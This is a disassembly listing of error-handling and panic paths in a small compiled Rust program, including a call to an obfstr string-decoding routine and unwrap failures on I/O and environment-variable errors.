mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xdeca25e5
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h677993eb6d37f230
movabs rcx, 0x13b320c2b4142808
xor rcx, qword [rax]
mov edx, 0x82c039f7
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 8
shr eax, 8
xor al, 0xfa
mov qword [rsp + 0x250], rcx
mov dword [rsp + 0x258], edx
mov byte [rsp + 0x25c], r8b
mov byte [rsp + 0x25d], al
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2b8], 0xe
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xf0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], r13
lea rax, [0x1403c1ea0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 2
lea rdx, str.hello_src_main.rs
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::h9e181c62584cc428
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xf0], rax
lea rax, [0x1403bef40]
jmp 0x140076426
mov rsi, rdi
jmp 0x140076417
mov qword [rsp + 0xf0], rsi
lea rax, [0x1403beea8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h1cced9c0c53a0db9
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
lea r8, [0x14043ff88]
mov rdx, rdi
call sym.core::slice::index::slice_start_index_len_fail::h5f4d386d5ac67311
mov ecx, 1
mov rdx, r15
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
shl r8, 8
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rsp + 0x1d0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r8
lea rax, str.hello_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::env::VarError_::h46e7ce38f52ec155
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
lea r8, [0x14043ff88]
mov edx, 0xa
call sym.core::slice::index::slice_start_index_len_fail::h5f4d386d5ac67311
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xf0], rax
lea rax, [0x1403bee70]
jmp 0x140076426
jmp 0x140076567
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rax
lea rax, [0x1403bee90]
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::env::VarError_::h46e7ce38f52ec155
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0x30], rsi
lea rax, [0x1403bef70]
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h1cced9c0c53a0db9
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rsi, rax
cmp qword [rbx + 8], 0
je 0x14007664c
cmp qword [rbx + 0x10], 0x11
jb 0x1400765f9
mov rdi, qword [rdi - 8]
jmp 0x1400765f9
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
mov rcx, rsi
call sym._Unwind_Resume
mov rsi, rax
lea rdx, [0x1403bdb98]
mov ecx, 1
call sym._ZN4core3ptr130drop_in_place_LT_core..result..Result_LT__LP__RP__C_alloc..boxed..Box_LT_dyn_u20_core..any..Any_u2b_core..marke
jmp 0x14007664c
mov rcx, rsi
call sym._Unwind_Resume
call sym.core::panicking::panic_in_cleanup::h5f5a7d1a060868e8
int3